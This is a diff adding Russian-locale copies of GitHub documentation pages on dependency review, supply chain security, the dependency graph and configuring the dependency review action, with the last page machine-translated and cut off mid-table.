file mode 100644 index 000000000000..914c982ecead --- /dev/null +++ b/translations/ru-RU/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review.md @@ -0,0 +1,66 @@ +--- +title: About dependency review +intro: 'Dependency review lets you catch insecure dependencies before you introduce them to your environment, and provides information on license, dependents, and age of dependencies.' +product: '{% data reusables.gated-features.dependency-review %}' +shortTitle: Dependency review +versions: + fpt: '*' + ghes: '>= 3.2' + ghae: '*' + ghec: '*' +type: overview +topics: + - Advanced Security + - Dependency review + - Vulnerabilities + - Dependencies + - Pull requests +redirect_from: + - /code-security/supply-chain-security/about-dependency-review +--- + +## About dependency review + +{% data reusables.dependency-review.feature-overview %} + +If a pull request targets your repository's default branch and contains changes to package manifests or lock files, you can display a dependency review to see what has changed. The dependency review includes details of changes to indirect dependencies in lock files, and it tells you if any of the added or updated dependencies contain known vulnerabilities. + +Sometimes you might just want to update the version of one dependency in a manifest and generate a pull request. However, if the updated version of this direct dependency also has updated dependencies, your pull request may have more changes than you expected. The dependency review for each manifest and lock file provides an easy way to see what has changed, and whether any of the new dependency versions contain known vulnerabilities. + +By checking the dependency reviews in a pull request, and changing any dependencies that are flagged as vulnerable, you can avoid vulnerabilities being added to your project. For more information about how dependency review works, see "[Reviewing dependency changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)." + +For more information about configuring dependency review, see "[Configuring dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review)." + +{% data variables.product.prodname_dependabot_alerts %} will find vulnerabilities that are already in your dependencies, but it's much better to avoid introducing potential problems than to fix problems at a later date. For more information about {% data variables.product.prodname_dependabot_alerts %}, see "[About {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)." + +Dependency review supports the same languages and package management ecosystems as the dependency graph. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)." + +For more information on supply chain features available on {% data variables.product.product_name %}, see "[About supply chain security](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security)." + +{% ifversion ghec or ghes %} +## Enabling dependency review + +The dependency review feature becomes available when you enable the dependency graph. For more information, see "{% ifversion ghec %}[Enabling the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph#enabling-the-dependency-graph){% elsif ghes %}[Enabling the dependency graph for your enterprise](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise){% endif %}." +{% endif %} + +{% ifversion fpt or ghec or ghes > 3.5 or ghae > 3.5 %} +## Dependency review enforcement + +The action is available for all {% ifversion fpt or ghec %}public repositories, as well as private {% endif %}repositories that have {% data variables.product.prodname_GH_advanced_security %} enabled. + +{% data reusables.dependency-review.action-enterprise %} + +You can use the {% data variables.product.prodname_dependency_review_action %} in your repository to enforce dependency reviews on your pull requests. The action scans for vulnerable versions of dependencies introduced by package version changes in pull requests, and warns you about the associated security vulnerabilities. This gives you better visibility of what's changing in a pull request, and helps prevent vulnerabilities being added to your repository. For more information, see [`dependency-review-action`](https://github.com/actions/dependency-review-action). + +![Dependency review action example](/assets/images/help/graphs/dependency-review-action.png) + +By default, the {% data variables.product.prodname_dependency_review_action %} check will fail if it discovers any vulnerable packages. A failed check blocks a pull request from being merged when the repository owner requires the dependency review check to pass. For more information, see "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-status-checks-before-merging)." + +The action uses the Dependency Review REST API to get the diff of dependency changes between the base commit and head commit. You can use the Dependency Review API to get the diff of dependency changes, including vulnerability data, between any two commits on a repository. For more information, see "[Dependency review](/rest/reference/dependency-graph#dependency-review)." + +{% ifversion dependency-review-action-configuration %} +You can configure the {% data variables.product.prodname_dependency_review_action %} to better suit your needs. For example, you can specify the severity level that will make the action fail{% ifversion dependency-review-action-licenses %}, or set an allow or deny list for licenses to scan{% endif %}. For more information, see "[Configuring dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review#configuring-the-dependency-review-github-action)." +{% endif %} + +{% endif %} + diff --git a/translations/ru-RU/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security.md b/translations/ru-RU/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security.md new file mode 100644 index 000000000000..8e83dd646e68 --- /dev/null +++ b/translations/ru-RU/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security.md @@ -0,0 +1,172 @@ +--- +title: About supply chain security +intro: '{% data variables.product.product_name %} helps you secure your supply chain, from understanding the dependencies in your environment, to knowing about vulnerabilities in those dependencies{% ifversion fpt or ghec or ghes %}, and patching them{% endif %}.' +miniTocMaxHeadingLevel: 3 +shortTitle: Supply chain security +redirect_from: + - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: overview +topics: + - Advanced Security + - Dependency review + - Dependency graph + - Vulnerabilities + - Dependencies + - Pull requests + - Repositories +--- + +## About supply chain security at GitHub + +With the accelerated use of open source, most projects depend on hundreds of open-source dependencies. This poses a security problem: what if the dependencies you're using are vulnerable? You could be putting your users at risk of a supply chain attack. One of the most important things you can do to protect your supply chain is to patch your vulnerable dependencies{% ifversion GH-advisory-db-supports-malware %} and replace any malware{% endif %}. + +You add dependencies directly to your supply chain when you specify them in a manifest file or a lockfile. Dependencies can also be included transitively, that is, even if you don’t specify a particular dependency, but a dependency of yours uses it, then you’re also dependent on that dependency. + +{% data variables.product.product_name %} offers a range of features to help you understand the dependencies in your environment{% ifversion ghae %} and know about vulnerabilities in those dependencies{% endif %}{% ifversion fpt or ghec or ghes %}, know about vulnerabilities in those dependencies, and patch them{% endif %}. + +The supply chain features on {% data variables.product.product_name %} are: +- **Dependency graph** +- **Dependency review** +- **{% data variables.product.prodname_dependabot_alerts %} ** +{% ifversion fpt or ghec or ghes %}- **{% data variables.product.prodname_dependabot_updates %}** + - **{% data variables.product.prodname_dependabot_security_updates %}** + - **{% data variables.product.prodname_dependabot_version_updates %}**{% endif %} + +The dependency graph is central to supply chain security. The dependency graph identifies all upstream dependencies and public downstream dependents of a repository or package. You can see your repository’s dependencies and some of their properties, like vulnerability information, on the dependency graph for the repository. + +Other supply chain features on {% data variables.product.prodname_dotcom %} rely on the information provided by the dependency graph. + +- Dependency review uses the dependency graph to identify dependency changes and help you understand the security impact of these changes when you review pull requests. +- {% data variables.product.prodname_dependabot %} cross-references dependency data provided by the dependency graph with the list of advisories published in the {% data variables.product.prodname_advisory_database %}, scans your dependencies and generates {% data variables.product.prodname_dependabot_alerts %} when a potential vulnerability {% ifversion GH-advisory-db-supports-malware %}or malware{% endif %} is detected. +{% ifversion fpt or ghec or ghes %}- {% data variables.product.prodname_dependabot_security_updates %} use the dependency graph and {% data variables.product.prodname_dependabot_alerts %} to help you update dependencies with known vulnerabilities in your repository. + +{% data variables.product.prodname_dependabot_version_updates %} don't use the dependency graph and rely on the semantic versioning of dependencies instead. {% data variables.product.prodname_dependabot_version_updates %} help you keep your dependencies updated, even when they don’t have any vulnerabilities. +{% endif %} + +{% ifversion fpt or ghec or ghes %} +For best practice guides on end-to-end supply chain security including the protection of personal accounts, code, and build processes, see "[Securing your end-to-end supply chain](/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview)." +{% endif %} + +## Feature overview + +### What is the dependency graph + +To generate the dependency graph, {% data variables.product.company_short %} looks at a repository’s explicit dependencies declared in the manifest and lockfiles. When enabled, the dependency graph automatically parses all known package manifest files in the repository, and uses this to construct a graph with known dependency names and versions. + +- The dependency graph includes information on your _direct_ dependencies and _transitive_ dependencies. +- The dependency graph is automatically updated when you push a commit to {% data variables.product.company_short %} that changes or adds a supported manifest or lock file to the default branch, and when anyone pushes a change to the repository of one of your dependencies. +- You can see the dependency graph by opening the repository's main page on {% data variables.product.product_name %}, and navigating to the **Insights** tab. + +{% ifversion dependency-submission-api %} +{% data reusables.dependency-submission.dependency-submission-link %} +{% endif %} + +For more information about the dependency graph, see "[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)." + +### What is dependency review + +Dependency review helps reviewers and contributors understand dependency changes and their security impact in every pull request. + +- Dependency review tells you which dependencies were added, removed, or updated, in a pull request. You can use the release dates, popularity of dependencies, and vulnerability information to help you decide whether to accept the change. +- You can see the dependency review for a pull request by showing the rich diff on the **Files Changed** tab. + +For more information about dependency review, see "[About dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)." + +### What is Dependabot + +{% data variables.product.prodname_dependabot %} keeps your dependencies up to date by informing you of any security vulnerabilities in your dependencies{% ifversion fpt or ghec or ghes %}, and automatically opens pull requests to upgrade your dependencies to the next available secure version when a {% data variables.product.prodname_dependabot %} alert is triggered, or to the latest version when a release is published{% else %} so that you can update that dependency{% endif %}. + +{% ifversion fpt or ghec or ghes %} +The term "{% data variables.product.prodname_dependabot %}" encompasses the following features: +- {% data variables.product.prodname_dependabot_alerts %}—Displayed notification on the **Security** tab for the repository, and in the repository's dependency graph. The alert includes a link to the affected file in the project, and information about a fixed version. +- {% data variables.product.prodname_dependabot_updates %}: + - {% data variables.product.prodname_dependabot_security_updates %}—Triggered updates to upgrade your dependencies to a secure version when an alert is triggered. + - {% data variables.product.prodname_dependabot_version_updates %}—Scheduled updates to keep your dependencies up to date with the latest version. + +{% endif %} + +{% ifversion fpt or ghec %} + +{% data variables.product.prodname_dependabot_alerts %}, {% data variables.product.prodname_dependabot_security_updates %}, and {% data variables.product.prodname_dependabot_version_updates %} do not use {% data variables.product.prodname_actions %} when they run on {% data variables.product.product_name %}. However, pull requests opened by {% data variables.product.prodname_dependabot %} can trigger workflows that run actions. For more information, see "[Automating {% data variables.product.prodname_dependabot %} with {% data variables.product.prodname_actions %}](/code-security/dependabot/working-with-dependabot/automating-dependabot-with-github-actions)." + +{% elsif ghes %} + +{% data variables.product.prodname_dependabot_security_updates %} and {% data variables.product.prodname_dependabot_version_updates %} require {% data variables.product.prodname_actions %} to run on {% data variables.product.product_name %}. {% data variables.product.prodname_dependabot_alerts %} do not require {% data variables.product.prodname_actions %}. For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)." + +{% elsif ghae %} + +{% data variables.product.prodname_actions %} is not required for {% data variables.product.prodname_dependabot_alerts %} to run on {% data variables.product.product_name %}. + +{% endif %} + +#### What are Dependabot alerts + +{% data variables.product.prodname_dependabot_alerts %} highlight repositories affected by a newly discovered vulnerability based on the dependency graph and the {% data variables.product.prodname_advisory_database %}, which contains advisories for known vulnerabilities{% ifversion GH-advisory-db-supports-malware %} and malware{% endif %}. + +- {% data variables.product.prodname_dependabot %} performs a scan to detect insecure dependencies and sends {% data variables.product.prodname_dependabot_alerts %} when: +{% ifversion fpt or ghec %} + - A new advisory is added to the {% data variables.product.prodname_advisory_database %}.{% else %} + - New advisory data is synchronized to {% data variables.location.product_location %} each hour from {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.security-advisory.link-browsing-advisory-db %}{% endif %} + - The dependency graph for the repository changes. +- {% data variables.product.prodname_dependabot_alerts %} are displayed {% ifversion fpt or ghec or ghes %} on the **Security** tab for the repository and{% endif %} in the repository's dependency graph. The alert includes {% ifversion fpt or ghec or ghes %}a link to the affected file in the project, and {% endif %}information about a fixed version. + +For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies)." + +{% ifversion fpt or ghec or ghes %} +#### What are Dependabot updates + +There are two types of {% data variables.product.prodname_dependabot_updates %}: {% data variables.product.prodname_dependabot %} _security_ updates and _version_ updates. {% data variables.product.prodname_dependabot %} generates automatic pull requests to update your dependencies in both cases, but there are several differences. + +{% data variables.product.prodname_dependabot_security_updates %}: + - Triggered by a {% data variables.product.prodname_dependabot %} alert + - Update dependencies to the minimum version that resolves a known vulnerability + - Supported for ecosystems the dependency graph supports + - Does not require a configuration file, but you can use one to override the default behavior + +{% data variables.product.prodname_dependabot_version_updates %}: + - Requires a configuration file + - Run on a schedule you configure + - Update dependencies to the latest version that matches the configuration + - Supported for a different group of ecosystems + +For more information about {% data variables.product.prodname_dependabot_updates %}, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)" and "[About {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates)." +{% endif %} + +## Feature availability + +{% ifversion fpt or ghec %} + +Public repositories: +- **Dependency graph**—enabled by default and cannot be disabled. +- **Dependency review**—enabled by default and cannot be disabled. +- **{% data variables.product.prodname_dependabot_alerts %}**—not enabled by default. {% data variables.product.prodname_dotcom %} detects insecure dependencies and displays information in the dependency graph, but does not generate {% data variables.product.prodname_dependabot_alerts %} by default. Repository owners or people with admin access can enable {% data variables.product.prodname_dependabot_alerts %}. + You can also enable or disable Dependabot alerts for all repositories owned by your user account or organization. For more information, see "[Managing security and analysis settings for your user account](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account)" or "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization)." + +Private repositories: +- **Dependency graph**—not enabled by default. The feature can be enabled by repository administrators. For more information, see "[Exploring the dependencies of a repository](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)." +{% ifversion fpt %} +- **Dependency review**—available in private repositories owned by organizations that use {% data variables.product.prodname_ghe_cloud %} and have a license for {% data variables.product.prodname_GH_advanced_security %}. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review). +{% elsif ghec %} +- **Dependency review**—available in private repositories owned by organizations provided you have a license for {% data variables.product.prodname_GH_advanced_security %} and the dependency graph enabled. For more information, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)" and "[Exploring the dependencies of a repository](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)." +{% endif %} +- **{% data variables.product.prodname_dependabot_alerts %}**—not enabled by default. Owners of private repositories, or people with admin access, can enable {% data variables.product.prodname_dependabot_alerts %} by enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} for their repositories. + You can also enable or disable Dependabot alerts for all repositories owned by your user account or organization. For more information, see "[Managing security and analysis settings for your user account](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account)" or "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization)." + +Any repository type: +- **{% data variables.product.prodname_dependabot_security_updates %}**—not enabled by default. You can enable {% data variables.product.prodname_dependabot_security_updates %} for any repository that uses {% data variables.product.prodname_dependabot_alerts %} and the dependency graph. For information about enabling security updates, see "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates)." +- **{% data variables.product.prodname_dependabot_version_updates %}**—not enabled by default. People with write permissions to a repository can enable {% data variables.product.prodname_dependabot_version_updates %}. For information about enabling version updates, see "[Configuring {% data variables.product.prodname_dependabot_version_updates %}](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates)." +{% endif %} + +{% ifversion ghes or ghae %} +- **Dependency graph** and **{% data variables.product.prodname_dependabot_alerts %}**—not enabled by default. Both features are configured at an enterprise level by the enterprise owner. For more information, see {% ifversion ghes %}"[Enabling the dependency graph for your enterprise](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise)" and {% endif %}"[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)." +- **Dependency review**—available when dependency graph is enabled for {% data variables.location.product_location %} and {% data variables.product.prodname_advanced_security %} is enabled for the organization or repository. For more information, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)." +{% endif %} +{% ifversion ghes %} +- **{% data variables.product.prodname_dependabot_security_updates %}**—not enabled by default. You can enable {% data variables.product.prodname_dependabot_security_updates %} for any repository that uses {% data variables.product.prodname_dependabot_alerts %} and the dependency graph. For information about enabling security updates, see "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates)." +- **{% data variables.product.prodname_dependabot_version_updates %}**—not enabled by default. People with write permissions to a repository can enable {% data variables.product.prodname_dependabot_version_updates %}. For information about enabling version updates, see "[Configuring {% data variables.product.prodname_dependabot_version_updates %}](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates)." +{% endif %} diff --git a/translations/ru-RU/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md b/translations/ru-RU/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md new file mode 100644 index 000000000000..42541c3ef9d5 --- /dev/null +++ b/translations/ru-RU/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md @@ -0,0 +1,116 @@ +--- +title: About the dependency graph +intro: You can use the dependency graph to identify all your project's dependencies. The dependency graph supports a range of popular package ecosystems. +redirect_from: + - /github/visualizing-repository-data-with-graphs/about-the-dependency-graph + - /code-security/supply-chain-security/about-the-dependency-graph +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: overview +topics: + - Dependency graph + - Dependencies + - Repositories +shortTitle: Dependency graph +--- + + + +## About the dependency graph + +{% data reusables.dependabot.about-the-dependency-graph %} + +When you push a commit to {% data variables.product.product_name %} that changes or adds a supported manifest or lock file to the default branch, the dependency graph is automatically updated.{% ifversion fpt or ghec %} In addition, the graph is updated when anyone pushes a change to the repository of one of your dependencies.{% endif %} For information on the supported ecosystems and manifest files, see "[Supported package ecosystems](#supported-package-ecosystems)" below. + +{% ifversion dependency-submission-api %} +{% data reusables.dependency-submission.dependency-submission-link %} +{% endif %} + +When you create a pull request containing changes to dependencies that targets the default branch, {% data variables.product.prodname_dotcom %} uses the dependency graph to add dependency reviews to the pull request. These indicate whether the dependencies contain vulnerabilities and, if so, the version of the dependency in which the vulnerability was fixed. For more information, see "[About dependency review](/code-security/supply-chain-security/about-dependency-review)." + +## Dependency graph availability + +{% ifversion fpt or ghec %}The dependency graph is available for every public repository that defines dependencies in a supported package ecosystem using a supported file format. Repository administrators can also set up the dependency graph for private repositories. {% endif %}For more information {% ifversion ghes %}about configuration of the dependency graph{% endif %}, see "[Configuring the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph)." + +{% data reusables.code-scanning.enterprise-enable-dependency-graph %} + +{% data reusables.dependabot.dependabot-alerts-dependency-graph-enterprise %} + +## Dependencies included + +The dependency graph includes all the dependencies of a repository that are detailed in the manifest and lock files, or their equivalent, for supported ecosystems{% ifversion dependency-submission-api %}, as well as any dependencies that are submitted using the Dependency submission API (beta){% endif %}. This includes: + +- Direct dependencies, that are explicitly defined in a manifest or lock file {% ifversion dependency-submission-api %} or have been submitted using the Dependency submission API (beta){% endif %} +- Indirect dependencies of these direct dependencies, also known as transitive dependencies or sub-dependencies + +The dependency graph identifies indirect dependencies{% ifversion fpt or ghec %} either explicitly from a lock file or by checking the dependencies of your direct dependencies. For the most reliable graph, you should use lock files (or their equivalent) because they define exactly which versions of the direct and indirect dependencies you currently use. If you use lock files, you also ensure that all contributors to the repository are using the same versions, which will make it easier for you to test and debug code{% else %} from the lock files{% endif %}. + +For more information on how {% data variables.product.product_name %} helps you understand the dependencies in your environment, see "[About supply chain security](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security)." + +{% ifversion fpt or ghec %} + +## Dependents included + +For public repositories, only public repositories that depend on it or on packages that it publishes are reported. This information is not reported for private repositories.{% endif %} + +## Using the dependency graph + +You can use the dependency graph to: + +- Explore the repositories your code depends on{% ifversion fpt or ghec %}, and those that depend on it{% endif %}. For more information, see "[Exploring the dependencies of a repository](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository)." {% ifversion ghec %} +- View a summary of the dependencies used in your organization's repositories in a single dashboard. For more information, see "[Viewing insights for your organization](/articles/viewing-insights-for-your-organization#viewing-organization-dependency-insights)."{% endif %} +- View and update vulnerable dependencies for your repository. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)."{% ifversion fpt or ghes or ghec %} +- See information about vulnerable dependencies in pull requests. For more information, see "[Reviewing dependency changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)."{% endif %} + +## Supported package ecosystems + +The recommended formats explicitly define which versions are used for all direct and all indirect dependencies. If you use these formats, your dependency graph is more accurate. It also reflects the current build set up and enables the dependency graph to report vulnerabilities in both direct and indirect dependencies.{% ifversion fpt or ghec %} Indirect dependencies that are inferred from a manifest file (or equivalent) are excluded from the checks for insecure dependencies.{% endif %} + +| Package manager | Languages | Recommended formats | All supported formats | +| --- | --- | --- | ---| +{%- ifversion dependency-graph-rust-support %} +| Cargo | Rust | `Cargo.lock` | `Cargo.toml`, `Cargo.lock` | +{%- endif %} +| Composer | PHP | `composer.lock` | `composer.json`, `composer.lock` | +| NuGet | .NET languages (C#, F#, VB), C++ | `.csproj`, `.vbproj`, `.nuspec`, `.vcxproj`, `.fsproj` | `.csproj`, `.vbproj`, `.nuspec`, `.vcxproj`, `.fsproj`, `packages.config` | +{%- ifversion github-actions-in-dependency-graph %} +| {% data variables.product.prodname_actions %} workflows[†] | YAML | `.yml`, `.yaml` | `.yml`, `.yaml` | +{%- endif %} +| Go modules | Go | `go.sum` | `go.mod`, `go.sum` | +| Maven | Java, Scala | `pom.xml` | `pom.xml` | +| npm | JavaScript | `package-lock.json` | `package-lock.json`, `package.json`| +| pip | Python | `requirements.txt`, `pipfile.lock` | `requirements.txt`, `pipfile`, `pipfile.lock`, `setup.py`[‡] | +{%- ifversion dependency-graph-dart-support %} +| pub | Dart | `pubspec.lock` | `pubspec.yaml`, `pubspec.lock` | +{%- endif %} +{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +| Python Poetry | Python | `poetry.lock` | `poetry.lock`, `pyproject.toml` | +{%- endif %} +| RubyGems | Ruby | `Gemfile.lock` | `Gemfile.lock`, `Gemfile`, `*.gemspec` | +| Yarn | JavaScript | `yarn.lock` | `package.json`, `yarn.lock` | + +{% ifversion github-actions-in-dependency-graph %} +[†] {% data reusables.enterprise.3-5-missing-feature %} {% data variables.product.prodname_actions %} workflows must be located in the `.github/workflows/` directory of a repository to be recognized as manifests. Any actions or workflows referenced using the syntax `jobs[*].steps[*].uses` or `jobs..uses` will be parsed as dependencies. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/using-workflows/workflow-syntax-for-github-actions)." + +{% endif %} + +[‡] If you list your Python dependencies within a `setup.py` file, we may not be able to parse and list every dependency in your project. + +{% ifversion github-actions-in-dependency-graph %} +{% note %} + +**Note:** {% data variables.product.prodname_actions %} workflow dependencies are displayed in the dependency graph for informational purposes. Dependabot alerts are not currently supported for {% data variables.product.prodname_actions %} workflows. + +{% endnote %} +{% endif %} + +{% ifversion dependency-submission-api %}You can use the Dependency submission API (beta) to add dependencies from the package manager or ecosystem of your choice to the dependency graph, even if the ecosystem is not in the supported ecosystem list above. The dependency graph will display the submitted dependencies grouped by ecosystem, but separately from the dependencies parsed from manifest or lock files. You will only get {% data variables.product.prodname_dependabot_alerts %} for dependencies that are from one of the [supported ecosystems](https://github.com/github/advisory-database#supported-ecosystems) of the {% data variables.product.prodname_advisory_database %}. For more information on the Dependency submission API, see "[Using the Dependency submission API](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api)."{% endif %} +## Further reading + +- "[Dependency graph](https://en.wikipedia.org/wiki/Dependency_graph)" on Wikipedia +- "[Exploring the dependencies of a repository](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository)" +- "[Viewing and updating {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts)" +- "[Troubleshooting the detection of vulnerable dependencies](/github/managing-security-vulnerabilities/troubleshooting-the-detection-of-vulnerable-dependencies)" diff --git a/translations/ru-RU/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review.md b/translations/ru-RU/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review.md new file mode 100644 index 000000000000..026678d1ef2f --- /dev/null +++ b/translations/ru-RU/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review.md @@ -0,0 +1,206 @@ +--- +title: Настройка проверки зависимостей +intro: Вы можете использовать проверку зависимостей для перехвата уязвимостей перед их добавлением в проект. +miniTocMaxHeadingLevel: 3 +shortTitle: Configure dependency review +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Advanced Security + - Dependency review + - Vulnerabilities + - Dependencies + - Pull requests +ms.openlocfilehash: b5e5ccb5107cd96d1a88f896fd46d5b948a365cd +ms.sourcegitcommit: c2aa10a61db44ee111c09565b6114dd5c97b6e2e +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: '148163355' +--- +## Сведения о проверке зависимостей + +{% data reusables.dependency-review.feature-overview %} + +Дополнительные сведения см. в разделе "[Сведения о проверке зависимостей](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)" и "[Просмотр изменений зависимостей в запросе на включение внесенных изменений](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)". + +## Сведения о настройке проверки зависимостей + +{% ifversion fpt %} Проверка зависимостей доступна во всех общедоступных репозиториях во всех продуктах, и ее нельзя отключить. Проверка зависимостей доступна в частных репозиториях, принадлежащих организациям, которые используют облако GitHub Enterprise и имеют лицензию на [{% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security). Дополнительные сведения см. в [документации по {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review). + +{% elsif ghec %} Проверка зависимостей включена в состав {% data variables.product.product_name %} для общедоступных репозиториев. Чтобы использовать проверку зависимостей в частных репозиториях, принадлежащих организациям, у вас должна быть лицензия на [{% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security) и включенная схема зависимостей. + +{% data reusables.dependabot.enabling-disabling-dependency-graph-private-repo %} +1. Если функция {% data variables.product.prodname_GH_advanced_security %} не включена, нажмите рядом с ней кнопку **Включить**. + ![Снимок экрана: функция расширенной безопасности GitHub с выделенной кнопкой "Включить"](/assets/images/help/security/enable-ghas-private-repo.png) + +{% elsif ghes or ghae %} + +Проверка зависимостей доступна, если граф зависимостей включен для {% data variables.location.product_location %}, а {% data variables.product.prodname_advanced_security %} включен для организации или репозитория. {% ifversion ghes %} Дополнительные сведения см. в разделе [Включение {% data variables.product.prodname_GH_advanced_security %} для вашего предприятия](/admin/code-security/managing-github-advanced-security-for-your-enterprise/enabling-github-advanced-security-for-your-enterprise). {% endif %} + +### Проверка включения схемы зависимостей + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.navigate-to-code-security-and-analysis %} +1. В разделе "Настройка функций безопасности и анализа" проверьте, включена ли схема зависимостей. +1. Если схема зависимостей включена, нажмите **Включить** рядом с пунктом {% data variables.product.prodname_GH_advanced_security %}, чтобы включить функцию {% data variables.product.prodname_advanced_security %}, в том числе проверку зависимостей. Кнопка включить отключена, если у вашего предприятия нет доступных лицензий для {% data variables.product.prodname_advanced_security %}. {% ifversion ghes %} ![ Снимок экрана: функции "Безопасность и анализ кода"](/assets/images/enterprise/3.4/repository/code-security-and-analysis-enable-ghas-3.4.png){% endif %} + +{% endif %} + +{% ifversion dependency-review-action-configuration %} +## Сведения о настройке {% data variables.product.prodname_dependency_review_action %} + +{% data reusables.dependency-review.dependency-review-action-overview %} + +Доступны следующие параметры конфигурации. + +| Параметр | Обязательно | Использование | +|------------------|-------------------------------|--------| +| `fail-on-severity` | Необязательно | Определяет пороговое значение для уровня серьезности (`low`, `moderate`, `high`, `critical`).
Действие завершится сбоем для любых запросов на вытягивание, которые добавляют уязвимости указанного уровня серьезности или выше. | +{%- ifversion dependency-review-action-licenses %} | `allow-licenses` | Необязательно | Содержит список разрешенных лицензий. Возможные значения этого параметра можно найти на странице [Лицензии](/rest/licenses) в документации по API.
Действие завершится сбоем для запросов на вытягивание, которые содержат зависимости с лицензиями, не включенными в этот список..| {% endif %} {%- ifversion dependency-review-action-licenses %} | `deny-licenses` | Необязательно | Содержит список запрещенных лицензий. Возможные значения этого параметра можно найти на странице [Лицензии](/rest/licenses) в документации по API.
